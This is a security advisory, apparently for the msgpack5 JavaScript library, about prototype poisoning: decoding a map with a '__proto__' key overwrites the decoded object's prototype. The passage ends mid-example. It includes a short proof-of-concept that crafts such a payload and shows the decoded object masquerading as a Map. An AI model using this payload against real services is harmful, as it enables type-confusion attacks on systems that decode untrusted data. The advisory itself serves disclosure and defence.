Prototype poisoning

Impact

The issue is as follows: when msgpack5 decodes a map containing a
key "__proto__", it assigns the decoded value to __proto__. As you
are no doubt aware, Object.prototype.__proto__ is an accessor
property for the receiver's prototype. If the value corresponding to
the key __proto__ decodes to an object or null, msgpack5 sets
the decoded object's prototype to that value.

An attacker who can submit crafted MessagePack data to a service can
use this to produce values that appear to be of other types; may have
unexpected prototype properties and methods (for example length,
numeric properties, and push et al if __proto__'s value decodes to
an Array); and/or may throw unexpected exceptions when used (for
example if the __proto__ value decodes to a Map or Date). Other
unexpected behavior might be produced for other types.

There is no effect on the global prototype.

An example:

const msgpack5 = require('msgpack5')(); 

const payload = {}; 
Object.defineProperty(payload, '__proto__', { 
value: new Map().set(1, 2), 
enumerable: true 
}); 

const encoded = msgpack5.encode(payload); 
console.log(encoded); //  

const decoded = msgpack5.decode(encoded); 

// decoded's prototype has been overwritten 
console.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 => 2 } 
console.log(decoded.get); // [Function: get] 

// decoded appears to most common typechecks to be a Map 
console.log(decoded instanceof Map); // true 
console.log…